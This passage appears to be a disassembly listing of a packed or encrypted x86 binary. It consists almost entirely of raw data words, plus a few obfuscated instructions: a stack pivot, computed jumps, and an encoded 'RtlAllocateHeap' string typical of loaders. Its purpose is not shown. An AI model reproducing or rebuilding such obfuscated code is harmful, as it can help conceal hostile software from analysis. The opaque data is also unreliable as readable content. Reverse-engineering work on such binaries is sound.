dd 11321421h, 0E93BA406h, 0C03DD75Ah, 2232145Dh, 112F9E69h
dd 87521566h, 57DBC6D1h, 3A321566h, 0CBD2D74Dh, 56757AF8h
dd 0DEA0450Fh, 0A60DFF77h, 2D530DB2h, 98B61AADh, 4B321567h
dd 223214EBh, 2C54E966h, 0C3D3099h, 44321599h, 22389769h
dd 71521566h, 88BC1A07h, 25321566h, 0A63DDF5Ah, 11321581h
dd 87D1299Fh, 44314EE2h, 223DFC66h, 33561566h, 0DB2300B7h
dd 57D8C823h, 0F712A899h, 2C54E932h, 0D3DEA48h, 44321519h
dd 2232078Fh, 33513B66h, 0B9E16340h, 0A0F8AB0h, 279BB729h
dd 42F42485h, 883217DDh, 0CEC11466h, 62E9E65h, 1136D1E7h
dd 83DB1566h, 28321566h, 0A830FBDh, 8B7D9ACh, 3A6083C8h
dd 0F3617317h, 44C82579h, 99F8953Dh, 4837F7A6h, 0A6F2178Ch
dd 0D2F09562h, 7168C546h, 0F9D4AC00h, 1A8D7331h, 1E534DE4h
dd 45B61AC6h, 87321566h
dd 44321BEAh, 0AC3D7566h, 11321566h, 88329969h, 11531566h
dd 223215DBh, 3DB34066h, 3F288442h, 0D5374D11h, 7F45A27Ch
dd 114AFC9Fh, 0E8CA1566h, 4432108Eh, 905ECA66h, 9A541257h
dd 87DB4EA9h, 0E9321566h, 1CB93401h, 0A1A9EFADh, 0B58EC48Dh
dd 0CD53ECFBh, 3621B4D3h, 113CFC60h, 11271566h, 0E6A375AEh
dd 0D030E56Dh, 0C27C6CF9h, 7EAF989Fh, 0AD340FF0h, 22321568h
dd 0F55AAFE8h, 3214CB9Ch, 671C8836h, 0F1CDE3E3h, 15027D9Ah
dd 0A4BB1566h, 4433A842h, 0CABB1566h, 113AFC3Bh, 0E0051566h
dd 0B372369Dh, 0CBF107E3h, 11321577h, 5877B949h, 0E4240B47h
dd 76DDABE0h, 1394BDADh, 6FBB42FEh, 4436D2E7h, 0CDB11566h
dd 350E9262h, 0AC369C3Ah, 4432138Fh, 0E993166h, 0EEDF9C10h
dd 0BCB30510h, 30168442h, 98604D6Ah, 19EA4879h, 0B0BCFFE7h
dd 9403E902h, 2234FC3Ch, 40A91566h, 76AA5C64h, 58BF90EFh
dd 70521372h, 48FBAA69h, 88321D8Fh, 0D8DB266h, 0A9E1A555h
dd 25CD74B6h, 4CB14D42h, 8CB87562h, 22321A8Fh, 0C8EC6266h
dd 66FE3082h, 0BFC3912Ch, 902EF05Ch, 0D894607h, 89321566h
dd 602E9EB8h, 2236D1E7h, 1E521566h, 88321AEBh, 4438FC66h
dd 0B6861566h, 6FF182B7h, 9F682D4Dh, 0E4CDDE7h, 0AF534F17h
dd 53DE4DBh, 8834FC60h, 54581566h, 0E7D1AC24h, 113CFCCBh
dd 5F761566h, 0FCBC4283h, 7443CE7Fh, 93AA586Eh, 0A31BE84Bh
dd 6076165Dh, 0DF8B4442h, 10093E4Fh, 23CA4CAEh, 0C18F9893h
dd 42340142h, 0EDB31BDFh, 0B18B731Ah, 0AD9F74D6h, 22321560h
dd 9DBEE9FFh, 0F1373BDAh, 696E363Dh, 11575161h, 35165165h
dd 0ED761263h, 1F4B3855h, 4AC74945h, 11324791h, 871611EFh
dd 443214E4h, 4299ED66h, 0A85465D6h, 553F32Bh, 501E7CDBh
dd 8FCBED60h, 98FB9406h, 87460743h, 1253D5D1h, 0F465BD8h
dd 4FC23C54h, 0A0165165h, 69465B63h, 31B51A54h, 0F8321566h
dd 88321568h, 53512C73h, 539092A2h, 0AED65E99h, 85DB498Ah
dd 78321566h, 3E68529Dh, 0AC915Fh, 66DAAE40h, 56B31ACDh
dd 0CB321566h, 1132156Bh, 6929BAFCh, 9CEEEC4Ch, 40A18455h
dd 5B51AFBh, 87321566h, 44321BE4h, 223BFC66h, 595F1566h
dd 90404FC3h, 0CF457CC9h, 0AB673152h, 15F79483h, 9321566h
dd 443211A3h, 61E9266h, 1123FC3Ah, 0D9911566h, 0B3F8A0BCh
dd 0DF4C2869h, 75012864h, 87AD7753h, 44320CECh, 2226FC66h
dd 0FDF51566h, 0FC49E462h, 0D6D7AD5Ch, 3D6D827Bh, 467D3C99h
dd 61F1B35Eh, 4432156Ah, 0AC2ABE26h, 1EE90A3Dh, 8CDD3B37h
dd 44254F0Eh, 6069C66h, 0AA544706h, 0EE680DB6h, 255777D8h
dd 0B47088EBh, 993D137Ch, 8832156Ah, 44349969h, 0A13D1566h
dd 11321566h, 6152C699h, 4432156Ah, 0EE73E64Dh, 2F51BF2Ch
dd 6CC0ACB5h, 8277C5E7h, 0CB533EF7h, 0EECDE991h, 8837FD06h
dd 0CB811566h, 447B9B30h, 5E69A5DFh, 4ECEDF61h, 4AA86CD2h
dd 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh, 2AA8ED96h, 29458A15h
dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h
dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
dd 0D7BA8660h, 0D5CE2559h, 0F1439177h, 498232DCh, 71BA8C0Eh
dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FCB5Eh
dd 74DF0746h, 0D552B332h, 5E0003C6h, 2A5492B8h, 0AE307515h
dd 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h, 0A45EE9C3h, 6FDD7BAEh
dd 0A25863E9h, 5FABA851h, 0AA307519h, 497332DCh, 2F168C0Eh
dd 31377ECBh, 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh
dd 0BA4582D7h, 3044h, 24E9h, 4272AA00h, 15h, 7 dup(0)
dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h
dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h
dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h
dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh
dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h, 8B4C6454h
dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h, 0D51876Dh
dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh
dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h
dd 0E9830048h, 8BA4F305h, 3D3608CBh, 0DCDC7006h, 3DBADCD0h
dd 3256A030h, 32503CB1h, 804FEAB1h, 587A8A4Dh, 3256BA59h
dd 0D8D707B1h, 344C6A9Dh, 3243D0BEh, 0DB36ABB1h, 3256D5BFh
dd 5E98353h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 61F9B517h
dd 3FD525FBh, 0D1ADFDF5h, 22916EB9h, 7ACFB734h, 29B723ACh
dd 7A1A20ADh, 277975FDh, 3F5D987Ch, 0FFA073E6h, 0E98331CFh
dd 8BA4F305h, 78BD8DDBh, 8D061B79h, 1C01B28Dh, 6644B806h
dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h, 7E9F8F6h
dd 0EE000000h, 0E7294760h, 5250E66Ah, 8403A3BAh, 24542973h
dd 5585A04h, 738403A3h, 0F6DB8060h, 79FBD681h, 8361384Eh
dd 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h, 8B535019h
dd 411B8C0h, 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h
dd 0BD83585Bh, 6141AE1h, 50177400h, 411B853h, 85890000h
dd 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F60585Bh, 198Ah
dd 14E900h, 26B90000h, 0D689A1D3h, 5C2231E7h, 2CFAE249h
dd 0D48B6717h, 0B96657D1h, 0F61B566h, 0A89h, 5E900h, 0EC620000h
dd 571DE411h, 0F889C789h, 81243C8Bh, 4C4h, 5EB56000h, 3ED78166h
dd 830F6104h, 19h, 14E9h, 71EF0100h, 74942902h, 8AB4330Dh
dd 0FDE05BB9h, 14A69284h, 8D8DF899h, 61C0561h, 8D89F78Ah
dd 6143229h, 2820Fh, 0F2B40000h, 64D85C7h, 6B2C0614h, 2FB20000h
dd 267185C7h, 614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 416102C3h, 8B4BB4B2h
dd 14083D95h, 0EBCF8106h, 0FF25A31Ah, 14220DB5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0E55A3607h, 6195FF7Ch, 89061423h, 1416218Dh, 0FF006A06h
dd 14116995h, 0EBC08B06h, 0E2FB797Eh, 4FD60C4h, 3ADBCCE0h
dd 0B95100C5h, 0F4022A90h, 58B9C9B2h, 7F3ED737h, 69FEB321h
dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0F706A9C5h
dd 1D90C27Bh, 98F5481Dh, 66FE26DAh, 0CF555421h, 0AEA7ACF1h
dd 31EF4114h, 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 17111103h
dd 8C5342F2h, 26406CB5h, 7ED9A8E4h, 0B871E561h, 38B64462h
dd 2A0110BFh, 0FDC48519h, 0FC05A880h, 0E8D4DEF8h, 0Ch
dd 0BAE98665h, 6F1F0F09h, 0D75696BEh, 0BE8h, 59805400h
dd 57C9A8B4h, 0B9781F02h, 0F6F18166h, 665A5933h, 2DD381h
dd 7295C281h, 0AE90000h, 4B000000h, 546A8DCAh, 87F8CB84h
dd 1C7468D6h, 81660000h, 5F7358C6h, 22459D0Bh, 32FF0614h
dd 58F38B66h, 8E9h, 1A0C700h, 0E3A3565Ah, 0AAC081F7h, 0B56A45AEh
dd 70F081DEh, 0B515A687h, 39C0818Bh, 8B4D4AB0h, 140E359Dh
dd 0E8605006h, 0Ah, 99DA2D91h, 16F506C7h, 72B3E64Dh, 0D1858B5Fh
dd 61061402h, 2956028Fh, 1430AD9Dh, 0EA815E06h, 279A39D9h
dd 6830Fh, 9D230000h, 61424F5h, 39D5C281h, 0EF83279Ah
dd 8B850F01h, 89FFFFFFh, 14141DB5h, 0EDE906h, 66600000h
dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6142581h, 0F00FE83h
dd 2285h, 5985C600h, 4506141Ah, 72696968h, 45B5FF8Eh, 8D061411h
dd 1780DB85h, 89D0FF06h, 142EF985h, 80F08B06h, 850FE93Eh
dd 31h, 7F47858Dh, 0D0FF0619h, 2421BD8Bh, 0C7810614h, 1184h
dd 2581B58Bh, 0F7870614h, 8B9h, 8BA4F300h, 142581B5h, 12858D06h
dd 0FF0617AAh, 5DB58BD0h, 83061421h, 850F00FEh, 22h, 1A5985C6h
dd 68540614h, 0FF4EBEF4h, 1145B5FFh, 858D0614h, 61780DBh
dd 8589D0FFh, 614215Dh, 3E80F08Bh, 3A850FE9h, 8B000000h
dd 14215DB5h, 47858D06h, 0FF06197Fh, 21BD8BD0h, 81061424h
dd 1184C7h, 8C78300h, 215DB58Bh, 0F7870614h, 8B9h, 8BA4F300h
dd 14215DB5h, 12858D06h, 0FF0617AAh, 8DC361D0h, 1C06B785h
dd 19858906h, 0E906142Ah, 33h, 56C8E149h, 0Bh dup(0)
dd 0E9000000h, 461h, 1C08F168h, 7629E906h, 6768FFF8h, 0E9061C09h
dd 0FFF8761Fh, 1C0ABE68h, 7615E906h, 0BF1DFFF8h, 2D1AE00h
dd 468C69BBh, 8F462375h, 0DCFBD82Ah, 62568FE1h, 0E234894Eh
dd 9BEDCC05h, 53A51ABEh, 95B6076h, 896F75FDh, 9D580DEFh
dd 0C5123BA2h, 973F4CF8h, 0E14DC24h, 51F1E828h, 0D5E5143Ch
dd 0A92E8BF9h, 78106814h, 1D6B2A30h, 0C89F57E5h, 60B599DCh
dd 0D91C09Dh, 11F339E5h, 1C58063Ch, 5D5C7946h, 8D0259B1h
dd 84BF5EA9h, 80C21443h, 0D98E5A0Bh, 6F3C04F8h, 0E8CE5467h
dd 0FC580656h, 0C73FA5D4h, 37000002h, 0A34F6C6Ah, 17351C4Bh
dd 0E863494Fh, 9F7751F1h, 0F1E7B399h, 79FC751h, 89268CD8h
dd 252B731Bh, 57E501DAh, 8BDF80A8h, 0B5286820h, 4E963AA8h
dd 5E9A2148h, 0E38FB75Bh, 7DC569D7h, 72B58277h, 448CB461h
dd 145C5F77h, 2318C47h, 0FAC115F2h, 1F2CE11Ch, 16240E35h
dd 2B4h, 94E6D903h, 4FA11CB7h, 95B6072h, 0BE10A92Ch, 75C7F6E1h
dd 0A3347C3Ch, 0E6EBC81Ah, 34A481D3h, 7A5C398Bh, 5BE3EF41h
dd 0DF06F55h, 21888358h, 0A2424017h, 6814AB2Dh, 0FDE5B910h
dd 0DBE0F643h, 8C34A2ACh, 4B933E44h, 0F92157EEh, 1B21E9B1h
dd 580E4B35h, 0E7F22149h, 9E7BCDF0h, 0B508CF39h, 4A2B711Dh
dd 0CD580E4Bh, 33D4B209h, 0D03EA497h, 23ED8E6h, 63790000h
dd 0A62D0A5Ch, 0EAE8C517h, 33A27FD1h, 80573486h, 6B2EB3Dh
dd 3E902DAAh, 0F7497061h, 0AF01BE1Ah, 65B704D2h, 0E5CBD159h
dd 0F9580DF0h, 0A51397FEh, 0ABB1F9h, 8E57EDF0h, 9274BA66h
dd 9D580DEEh, 5D2ADF7Bh, 0F4FA4279h, 580DEF0Eh, 5FCBFA22h
dd 0F8D1E706h, 199F8h, 0C4120F00h, 983E4BF7h, 2F04DB23h
dd 0B308CA65h, 64D0C45Ch, 0DB492535h, 5623EB33h, 8B933F7Ch
dd 0F2969F85h, 0F38BB351h, 0E7ED80C4h, 335B57E5h, 0C75F4187h
dd 486A5806h, 0ED4910Ah, 612AF8D9h, 41000000h, 0BF714017h
dd 0ABEA4F12h, 0F21CBFA5h, 13ABD351h, 0C46CDAE4h, 37B3767Ch
dd 0A98157E5h, 636BDA3h, 11A9D158h, 0F3D6F2C9h, 0B0153013h
dd 9F4B6E63h, 68AE1847h, 5806D286h, 8234C60Bh, 15A563D8h
dd 0F2FFAB43h, 1A30DCE1h, 8E5554F6h, 0D3E6EBB8h, 4EA0CF27h
dd 0FDCE970Ch, 9B30F8D8h, 47000000h, 4BF7C412h, 7824993Eh
dd 0D3A06B6Bh, 5137BD00h, 0DE51F1E8h, 0D5FDC3F8h, 5284913Dh
dd 0F29E1FB4h, 9AB0029Ah, 51F1ECDAh, 0AE00BB1Bh, 74BC64D2h
dd 0E6C2D56Eh, 0CF173F57h, 729D502h, 0B75CE2F2h, 87B0192Dh
dd 2A1DFA30h, 74634092h, 1EA66B49h, 87713EAAh, 0E779h
dd 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h, 9429AE8Bh
dd 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h, 0B0BC0EADh
dd 0F23C2228h, 5550580Dh, 43C512EEh, 59667292h, 25BD55ADh
dd 0DBE0F6D3h, 4F17D089h, 0F1E86349h, 204F7751h, 4EFAC115h
dd 0D4269541h, 9EE68AF8h, 0E5542D98h, 0CB133B57h, 4F353B03h
dd 63580635h, 7EDF33Bh, 1B580635h, 1EB9C4F3h, 9E754D9Fh
dd 3898BB8h, 2A6E9D70h, 58061748h, 0DBF309CDh, 0FB9C0AAAh
dd 0D3E6EF3Ch, 0E537CF27h, 42EECF08h, 4B34h, 0A5138B00h
dd 7E2A9344h, 40468E26h, 57EDF0A9h, 3E4BF71Fh, 0F4D12398h
dd 0DAE24E2h, 783C975h, 4706C0FEh, 498DA7E3h, 93432072h
dd 666F7C28h, 993E0B53h, 0F1207824h, 0F2903287h, 0CD1F9C3Ah
dd 29D5E6F0h, 31Bh, 7DE47200h, 49F5CA12h, 75219A3Ch, 0A34F7068h
dd 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah
dd 0B864597Ah, 5A545233h, 4C281h, 0EA830000h, 24148704h
dd 58E3685Ch, 14890000h, 66B76824h, 2C890000h, 0F7BE5624h
dd 8107743Eh, 0F8793CE6h, 81D6F744h, 93CFC0F6h, 48156FDh
dd 55723F24h, 0EA815A0Ch, 0C55723Fh, 2C8B545Eh, 4C48124h
dd 68000000h, 28A7h, 0B9240C89h, 8, 1189E901h, 2434FF59h
dd 4C4835Dh
; ---------------------------------------------------------------------------
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5509FF
; ---------------------------------------------------------------------------
les eax, [esi]
mov eax, 61C0BCAh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 48D3h
dd 0A3712CCFh, 0D23E628Bh, 62514232h, 0E36F6FAAh, 0F6D0347Eh
dd 2AB0D37h, 52085EB8h, 59082D3Bh, 0E5F0B1Fh, 0B0463E70h
dd 0AFE40630h, 0ADC856ADh, 54C55F1Ah, 0FE9618F4h, 58632DAEh
dd 880A7A42h, 0D8CF7E28h, 1A5C64DBh, 69A43C2Eh, 2A71104h
dd 18D645BDh, 0FE050311h, 0F2DA70B1h, 86010D18h, 50CC5940h
dd 978A128Eh, 8D8D536Fh, 61C0DADh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 79C35646h, 0EACB4E61h, 9997B771h
dd 10E9h, 0D891D600h, 52213C4Eh, 6D024D7Ah, 0D1B81666h
dd 298D8933h, 6A061432h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 7B68C355h, 0A507AB7Dh
dd 0B58B67BFh, 6141725h, 31D78166h, 4D85C711h, 7C061406h
dd 8B000061h, 7185C7D3h, 61426h, 0F000000h, 0B5FFC1B7h
dd 6141601h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0C35242h, 61EBE039h, 0FF4FD8C8h, 14236195h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0A5E89883h, 0C090EF3Ah, 4BF66ACh, 0FF006A06h, 14116995h
dd 0EBC08B06h, 7D95BA3Eh, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh
dd 0F4C3ED2h, 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh
dd 4029768Ch, 37C50BBDh, 0E48BD7BAh, 3B5A04FFh, 6ADA047Fh
dd 15D6F77Bh, 0E914ACF0h, 35h, 3C15B484h, 416C7452h, 636F6C6Ch
dd 48657461h, 706165h, 140000h, 7 dup(0)
dd 102FE900h, 82680000h, 0E9061C10h, 0FFF86FE7h, 1C116D68h
dd 6FDDE906h, 6668FFF8h, 0E9061C13h, 0FFF86FD3h, 1C146468h
dd 6FC9E906h, 0B868FFF8h, 0E9061C17h, 0FFF86FBFh, 1C184568h
dd 6FB5E906h, 8468FFF8h, 0E9061C18h, 0FFF86FABh, 1C197868h
dd 6FA1E906h, 1468FFF8h, 0E9061C1Ah, 0FFF86F97h, 1C1A8968h
dd 6F8DE906h, 0A68FFF8h, 0E9061C1Ch, 0FFF86F83h, 1C1CF868h
dd 6F79E906h, 23B9FFF8h, 666D4A9Ch, 0AA280557h, 0F3E2BF11h
dd 409774C6h, 0C6F22B7Dh, 7ED0EDEAh, 378930A1h, 0EF417E5Ah
dd 0A5F7C412h, 250B1199h, 39580DF6h, 0C412D73Eh, 983E4BF7h
dd 6E6A7723h, 0AE50A551h, 48905DECh, 993D4877h, 0E4F3D022h
dd 14C491D9h, 946C7CABh, 54ED0FC7h, 10228D99h, 0ECF726BEh
dd 1D25D1EAh, 80868750h, 51F2B69Ah, 42EE86AEh, 26B0BBEAh
dd 58804D95h, 3B81A67h, 1FECC4D4h, 3A7F52B2h, 6E545AA2h
dd 8251F2B7h, 0B3212B5Ah, 8385E24Ch, 0A1303DC7h, 9E338018h
dd 733B831Bh, 97D02CA6h, 846B50A6h, 0F03463FBh, 57E59D5Dh
dd 0FBC47249h, 72385E25h, 7C8FBD1Bh, 9AC9DFE9h, 0FC42EE16h
dd 5806A51Ah, 0D783369Fh, 8B409CAh, 8D6C2E92h, 0EDE6A4C6h
dd 0F8D93078h, 0BE480FE6h, 0D642DA99h, 5541A7h, 13580000h
dd 0E9B1F9A5h, 0F1E7FDE3h, 9CE91151h, 4C52813Ah, 0E5038346h
dd 107CF57h, 5806031Bh, 3885522Fh, 0C5ED71A0h, 0C9AFB57Dh
dd 0DD580602h, 0D61C86B5h, 580602F4h, 0B15D5C79h, 0E28E2FA4h
dd 0EBA01D5h, 0E2A004B6h, 741638FFh, 0D9D7065Fh, 0D8F8F8h
dd 170F0000h, 8733884Ah, 0C8F5E22Fh, 0BE488E99h, 575DA51Ah
dd 51F1E871h, 19C55D85h, 46F2CB0Ch, 0A766713Eh, 0F1E7BBA1h
dd 0FA7CF51h, 5DB40B63h, 0E380E27h, 686E79A8h, 0D3359Eh
dd 0E18D25BDh, 67B902D4h, 0F2CE9051h, 0B803D351h, 0B2B78E66h
dd 1F8A3357h, 0F6E0EB1Ah, 9F0D19C5h, 66A1A7EFh, 9257E5EBh
dd 0EBDEC4CAh, 1AF25806h, 6EC2E14h, 821A4258h, 55A7CF53h
dd 1B630B79h, 0FBC2E915h, 951795Dh, 646D9B3Ch, 0B951A955h
dd 8D2EA471h, 66714E5Eh, 45C67957h, 0C3AD3895h, 0D3DB5h
dd 77489400h, 328B4825h, 0ECCF03E0h, 0A118BD9Ah, 5865724Fh
dd 0C5EBCD06h, 7C59AB12h, 35126455h, 0EDCA1CA3h, 7480D2E9h
dd 0F800E6ECh, 1914580Dh, 0F8C512B2h, 0AE0DC9A6h, 0A513A35Ch
dd 0E8ABB1F9h, 0B657E502h, 5E79468Eh, 80C6305Fh, 5806029Eh
dd 5E0AB523h, 8D398051h, 169BB71Bh, 0DC6D2D4Fh, 48F4C70Fh
dd 1055C1F0h, 0EEF8D9D7h, 0BDh, 0F7C41205h, 24993E4Bh
dd 35A37078h, 56175B8Ah, 9E51F1EDh, 0BB706D1h, 5D7984B3h
dd 0A72F0C5Eh, 0D5F5CC14h, 50CC0CA4h, 4753BDECh, 3E7476D9h
dd 0C216DE6Dh, 0A1DCE22Ah, 4F57E5F2h, 8BF9D527h, 7A959BE3h
dd 0E85DFBC6h, 9DA178C0h, 888F6C9Dh, 21D3C070h, 5FF776E9h
dd 7A5D2A30h, 0C314F143h, 290A483Bh, 0ABF3F3D5h, 1D97BFA5h
dd 13ABD35Eh, 95511435h, 7B897338h, 0C52h, 10625D7Fh, 0CB1DA033h
dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h, 6A674496h
dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0DF8EBD1h, 9D04FF58h
dd 0B0F8C512h, 9DCCEFE3h, 0E026B08Dh, 0DE30C8F1h, 0F7C41225h
dd 6076434Bh, 270D135Bh, 3B51F1E8h, 0FDD9E413h, 0C7946CBEh
dd 7660AD10h, 0F0D21645h, 7551F1E7h, 2B085A61h, 745A60ABh
dd 8851F1E8h, 0F1CC860h, 0D648F4C7h, 2AE1F1BEh, 0F1E83E24h
dd 922A5251h, 0E85E444Ah, 4A7251F1h, 7889C91Bh, 243534A1h
dd 0F293381Eh, 0CD244C51h, 5B8A4A16h, 0E3358650h, 0ED48C0A5h
dd 0D5C79EFEh, 4CE3AC01h, 736ED403h, 85000000h, 173AA513h
dd 615CD47Bh, 0E6EC34CCh, 57E55367h, 83C9759Dh, 580632A1h
dd 0D3C88AACh, 0F8D9A292h, 4D6Ch, 0F6D98300h, 7E51F1E7h
dd 12186010h, 57E53273h, 0AC79C1E9h, 9444912Ah, 0FECFC2Bh
dd 3D49F5C8h, 83696FCFh, 97580612h, 898FD76Fh, 5DFA13DEh
dd 15F2446Ch, 4450FCC3h, 1AE22AD6h, 231884Dh, 0D4723BEh
dd 17699164h, 87239h, 0A5139000h, 90289144h, 33474248h
dd 4D7557E5h, 13795BA1h, 62845806h, 0C2BAAB20h, 0D44F8D9h
dd 5B000000h, 0F1E7F7D9h, 13E33151h, 3AFFFFFCh, 47A44017h
dd 37EFE93Dh, 26D2E7EAh, 27959FCEh, 0FA292F77h, 9057E5E7h
dd 9476BC68h, 9F5805E7h, 5F2CDD7Dh, 3F974376h, 0EDC1A410h
dd 0F03DF8D9h, 54000004h, 12DF6AD1h, 0C2CCFBC0h, 5E64AC54h
dd 57E50213h, 7B40925Fh, 0FFA0C84Ch, 0B08312E9h, 3783696Fh
dd 6F975806h, 2FAE218h, 0B1CE8FD3h, 0A41201C8h, 1FECB4FCh
dd 35B07B2h, 709F1CB6h, 0BEAC792Ch, 53FF2707h, 0ED35D947h
dd 0D807B820h, 2CFFCCD2h, 0A9D10DD4h, 79429461h, 4B746431h
dd 0A72F0C1Ch, 0BC1D3614h, 947E88BBh, 0A5986h, 5B647800h
dd 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h, 0A907B1EAh
dd 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h, 0FAE4CAD0h
dd 0FDF8580Dh, 0F7C41296h, 5F76434Bh, 0E7BEA4AAh, 0AAD251F1h
dd 6BD9E312h, 4233A104h, 0D26A33DEh, 0D50D848Ah, 664357E6h
dd 6EB64E6Bh, 368837A1h, 0ADFA875Eh, 0EC45031Bh, 0CD25D1EAh
dd 0DDFB0635h, 7F17A62Dh, 83A78DD3h, 19FB5806h, 9F5805B4h
dd 3F458D31h, 5DF9B744h, 589E4A72h, 5E1AB776h, 0A8235F81h
dd 0F2C522BDh, 2341h, 0A5135800h, 7EE1FD3Ah, 0A1395669h
dd 21E45359h, 0D2FA57E6h, 0D2471E26h, 701B3FEh, 2D64709Fh
dd 0BB000000h, 0B1F9A513h, 6DF68CDAh, 8FDC00C4h, 72CA7649h
dd 4C373D43h, 5A57E5EDh, 1C22EA32h, 5806ED36h, 0E4CB224Ah
dd 39A18502h, 7D66D0FFh, 4147C412h, 51F1E85Bh, 0D1AF476Fh
dd 44C1008Ch, 5B2B3923h, 76000009h, 2A075966h, 0E5C214A9h
dd 9F7CCEEDh, 54318336h, 0AFE83A83h, 8D30A709h, 46735E3Bh
dd 0FEC117F4h, 0B407CFACh, 0C8CE5662h, 580DFBE2h, 1794FBF6h
dd 85318E4Ah, 86F4FE2Dh, 0B18C92DAh, 9F57E5EDh, 11A916C2h
dd 3D7E5865h, 0EAF28F5h, 0CBDB0A62h, 4E2752B5h, 66DDA7Fh
dd 7968678Bh, 39811991h, 725B9162h, 6375817Eh, 0C058B05Ch
dd 37A58191h, 5F723F87h, 2756AE5Ah, 8B915921h, 7F5145A5h
dd 0F5DBE1B9h, 97F5145h, 0D61A49E1h, 85446AEBh, 1825D1F9h
dd 31884DBBh, 0FD6B4799h, 8030951h, 368B588Eh, 0DCF9C60Eh
dd 6612AB28h, 72CA760Eh, 0B193D943h, 0BC8B798Dh, 82E3F89Ah
dd 0DCC56647h, 0C4F3C60Fh, 1585Eh, 0A5137500h, 0F1E4B1F9h
dd 77C41CC8h, 282E5D60h, 0E5EE4722h, 81DCB357h, 0E2EF6299h
dd 0A0C84C7Bh, 0CCEFE7F4h, 0E913AD84h, 8097E0CEh, 72644151h
dd 0F4579D49h, 7B7F4E8Ah, 2C31A35Dh, 66D27E10h, 3B0B22CEh
dd 69E1DA63h, 689E3481h, 0CB85069h, 0E514369Ah, 51AEF9DFh
dd 4DE50D7Fh, 0DD173397h, 9370C2F9h, 63307843h, 7C3F976Fh
dd 34E078D0h, 0FD43ADDCh, 0A699E89Ah, 0E11B37D9h, 9774C6F5h
dd 0E0C6CC3Fh, 0F4A69CE9h, 15EC34CCh, 0D62015h, 60B70FBBh
dd 4C8AC1A7h, 3EA8D76Fh, 0D21ACA32h, 9D07C6CCh, 0A0F21AA6h
dd 62AA56C4h, 0B40BCD9Ah, 2AC64185h, 17F4AC90h, 2A8F46BEh
dd 0F68EE692h, 5D75424Ah, 0B2242F5Eh, 12DFB709h, 0F74FFBC0h
dd 0A219BDC8h, 29A2B0F6h, 0D127ACB1h, 2A1D0309h, 931ACB1h
dd 32CA88DAh, 0AFC517A4h, 7EE46317h, 9EE68CF9h, 61EAD0D6h
dd 0D6FE2105h
dd 0F7BF97A7h, 5620BF1h, 8F421F21h, 8E267E2Ah, 3982545Fh
dd 9B1478Dh, 339EA54Dh, 22BA01D1h, 536A6976h, 2D6D91A7h
dd 6800BB17h, 0FD0C4EB2h, 9492F35h, 0FDD6A74Dh, 0A3D2FAC0h
dd 2B7D3E98h, 0EB33884Eh, 5A06B31Eh, 5D69D302h, 0F1F73FEFh
dd 0AD4037D6h, 0ECCA1C44h, 6Ch, 0F9A51343h, 0EC3CABB1h
dd 2A5257E5h, 2E141AE2h, 425805EDh, 2059415Bh, 45DDC3C5h
dd 349FAC16h, 63744189h, 0E56AE5Ah, 6062208h, 0DF0E3658h
dd 9220F7CFh, 66557DC0h, 0BF0B62BAh, 0D9EE1D84h, 97FF8635h
dd 454B3137h, 68CE5806h, 36723923h, 28C0E8AEh, 0FCDCDAE0h
dd 0C18E5805h, 0A1F9A514h, 6BC6EE72h, 0BCFDD8A5h, 0A289B810h
dd 0A5F7C412h, 0E7D800CDh, 0AAB4E33Bh, 464C943Ch, 57E5E963h
dd 0AAF22EFh, 53D7065Eh, 0C216E32Bh, 0ACEABFDh, 8FFD09B5h
dd 1A9197DFh, 0CE5DF9EAh, 0B7E6D501h, 195F0B33h, 5E191937h
dd 579F4FBDh, 0D1C5651h, 0B05C8464h, 2E1C886Ah, 0D1719364h
